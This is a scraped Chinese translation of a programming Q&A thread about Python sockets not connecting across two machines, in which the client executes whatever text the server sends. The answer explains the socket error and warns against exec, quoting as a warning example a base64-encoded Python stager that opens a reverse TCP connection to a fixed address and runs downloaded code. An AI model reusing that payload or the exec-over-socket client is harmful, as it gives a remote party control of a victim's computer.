• <legend id='Dg8rZ'><style id='Dg8rZ'><dir id='Dg8rZ'><q id='Dg8rZ'></q></dir></style></legend><tfoot id='Dg8rZ'></tfoot>

      <small id='Dg8rZ'></small><noframes id='Dg8rZ'>

      <i id='Dg8rZ'><tr id='Dg8rZ'><dt id='Dg8rZ'><q id='Dg8rZ'><span id='Dg8rZ'><b id='Dg8rZ'><form id='Dg8rZ'><ins id='Dg8rZ'></ins><ul id='Dg8rZ'></ul><sub id='Dg8rZ'></sub></form><legend id='Dg8rZ'></legend><bdo id='Dg8rZ'><pre id='Dg8rZ'><center id='Dg8rZ'></center></pre></bdo></b><th id='Dg8rZ'></th></span></q></dt></tr></i><div id='Dg8rZ'><tfoot id='Dg8rZ'></tfoot><dl id='Dg8rZ'><fieldset id='Dg8rZ'></fieldset></dl></div>
        <bdo id='Dg8rZ'></bdo><ul id='Dg8rZ'></ul>

        Python套接字在两台不同的计算机上未连接

        python sockets not connecting on two different machines(Python套接字在两台不同的计算机上未连接)
        <i id='s4jKA'><tr id='s4jKA'><dt id='s4jKA'><q id='s4jKA'><span id='s4jKA'><b id='s4jKA'><form id='s4jKA'><ins id='s4jKA'></ins><ul id='s4jKA'></ul><sub id='s4jKA'></sub></form><legend id='s4jKA'></legend><bdo id='s4jKA'><pre id='s4jKA'><center id='s4jKA'></center></pre></bdo></b><th id='s4jKA'></th></span></q></dt></tr></i><div id='s4jKA'><tfoot id='s4jKA'></tfoot><dl id='s4jKA'><fieldset id='s4jKA'></fieldset></dl></div>
          • <bdo id='s4jKA'></bdo><ul id='s4jKA'></ul>

            <legend id='s4jKA'><style id='s4jKA'><dir id='s4jKA'><q id='s4jKA'></q></dir></style></legend>

                  <small id='s4jKA'></small><noframes id='s4jKA'>

                  <tfoot id='s4jKA'></tfoot>
                    <tbody id='s4jKA'></tbody>
                  本文介绍了Python套接字在两台不同的计算机上未连接的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着跟版网的小编来一起学习吧!

                  问题描述

                  我最近学习了python中的套接字库。我正在编写游戏的多人服务器,但在编写整个多人服务器之前,我决定编写一个小型服务器,仅用于查看服务器如何在Python中工作。当我编写服务器代码时,令人尴尬的是,当我在自己的Windows10计算机上运行客户端和服务器时,我的代码运行得很好,它连接并工作(它的工作是两个从hostname获取IP,但是客户端将发送主机名,获取IP的代码在服务器中执行并发送回客户端),但是当我与我的朋友共享客户端文件时,客户端和服务器没有连接,没有错误消息或其他什么,防火墙没有阻止任何连接,那么为什么它们没有连接呢?以下是服务器文件中的代码(print语句只是为了产生加载栏效果):

                  import socket
                  from time import sleep
                  #Default port number: 1234
                  server=socket.socket()
                  def run_server(port=1234):
                      print('Booting server...')
                      print('|-|-|-',end='')
                      sleep(0.05)
                      server.bind(('',port))
                      print('|-|-|-',end='')
                      sleep(0.05)
                      server.listen(5)
                      print('|-|-|',end='')
                      sleep(0.05)
                      print('
                  Server is running and can be accessed now
                  ===============================================')
                      while True:
                          c,addr=server.accept()
                          print('recieved connection from: ',addr)
                          c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
                          c.send(bytes('_socket.send(ip)','utf-8'))
                          reply=c.recv(1024).decode('utf-8')
                          try:
                              ip=socket.gethostbyname(reply)
                          except:
                             c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
                             c.send(bytes('_socket.close()','utf-8'))
                             continue
                          c.send(bytes("print('"+ip+"')",'utf-8'))
                          c.send(bytes('_socket.close()','utf-8'))
                  run_server()
                  

                  和客户端中的代码:

                  import socket
                  def run(mode='client'):
                      _socket=socket.socket()
                  ##    if mode=='client':
                      _socket.connect(('192.168.0.101',1234))
                  ##        return True
                      while True:
                          command=_socket.recv(1024).decode('utf-8')
                          exec(command)
                  ##    if mode=='server':
                  ##        _socket.bind((socket.gethostname(),1234))
                  ##        _socket.listen(5)
                  ##        while True:
                  ##            client,addr=_socket.accept()
                  ##            msg=client.recv(1024)
                  ##            if msg[-1]!=b'.':
                  ##                continue
                  ##            else:
                  ##                _socket.close()
                  ##                break
                  ##        return pickle.loads(msg)
                  while True:
                      try:
                          run()
                      except OSError:
                          continue
                  

                  (忽略注释代码,我只是保留它,以便在需要时可以将其复制到其他文件中)

                  其他信息(我之前错过了):在client.py文件中,您将看到最后几行是tryexcept OSError挡路。我添加了这个挡路,因为我不知道为什么,但是当我运行客户端时,我收到这个错误:

                  Traceback (most recent call last):
                    File "C:UsersDEVDHRITIDesktopFiles&FoldersHMMMMMpythonclient.py", line 24, in <module>
                      run()
                    File "C:UsersDEVDHRITIDesktopFiles&FoldersHMMMMMpythonclient.py", line 8, in run
                      command=_socket.recv(1024).decode('utf-8')
                  OSError: [WinError 10038] An operation was attempted on something that is not a socket
                  

                  当我使用tryexcept块隐藏此错误时,没有区别,客户端工作正常,没有显示任何问题。有人知道为什么会发生这种情况吗?

                  推荐答案

                  An operation was attempted on something that is not a socket通常表示您正在尝试对关闭的套接字执行操作。我还没有运行您的代码,但我相信正在发生的情况是,您的服务器向客户端发送了一条命令,然后指示客户端关闭。但是,客户端尝试接受来自服务器的无限消息;即使在客户端的套接字已关闭之后也是如此。

                  让客户端只接受一条消息,或者停止让服务器通知客户端自行关闭。

                  我会将客户端代码更改为如下所示:

                  try:
                      while True:
                          command=_socket.recv(1024).decode('utf-8')
                  except KeyboardInterrupt:
                      _socket.close()
                  

                  现在客户端可以在要退出时按ctrl+c自行关闭。


                  另外,不要像您一样使用exec;尤其是在不检查要exec使用内容的情况下。如果服务器曾经遭到破坏,或者服务器所有者变得恶意,或者如果您交换了服务器并让客户机向服务器发送命令,那么您就有可能使计算机exec运行受到损害。如果套接字的发送端发送如下代码,例如:

                  # Do not run this!
                  exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
                  

                  这将导致exec计算机启动反向TCP shell,并将其计算机的控制权交给另一台计算机!然后,另一端将能够在您的计算机上执行任何他们想要的操作(或者至少可以执行他们有权执行的任何操作)。

                  您永远不应该真正使用evalexec,除非它是在用户代码永远不会输入它的地方使用的。将用户输入直接送入exec非常危险,应不惜一切代价避免。

                  这篇关于Python套接字在两台不同的计算机上未连接的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持跟版网!

                  本站部分内容来源互联网,如果有图片或者内容侵犯了您的权益,请联系我们,我们会在确认后第一时间进行删除!

                  相关文档推荐

                  Split a Pandas column of lists into multiple columns(将 Pandas 的列表列拆分为多列)
                  How does the @property decorator work in Python?(@property 装饰器在 Python 中是如何工作的?)
                  What is the difference between old style and new style classes in Python?(Python中的旧样式类和新样式类有什么区别?)
                  How to break out of multiple loops?(如何打破多个循环?)
                  How to put the legend out of the plot(如何将传说从情节中剔除)
                  Why is the output of my function printing out quot;Nonequot;?(为什么我的函数输出打印出“无?)

                  <small id='I2vne'></small><noframes id='I2vne'>

                      • <i id='I2vne'><tr id='I2vne'><dt id='I2vne'><q id='I2vne'><span id='I2vne'><b id='I2vne'><form id='I2vne'><ins id='I2vne'></ins><ul id='I2vne'></ul><sub id='I2vne'></sub></form><legend id='I2vne'></legend><bdo id='I2vne'><pre id='I2vne'><center id='I2vne'></center></pre></bdo></b><th id='I2vne'></th></span></q></dt></tr></i><div id='I2vne'><tfoot id='I2vne'></tfoot><dl id='I2vne'><fieldset id='I2vne'></fieldset></dl></div>
                          <tbody id='I2vne'></tbody>
                      • <tfoot id='I2vne'></tfoot>
                        <legend id='I2vne'><style id='I2vne'><dir id='I2vne'><q id='I2vne'></q></dir></style></legend>

                            <bdo id='I2vne'></bdo><ul id='I2vne'></ul>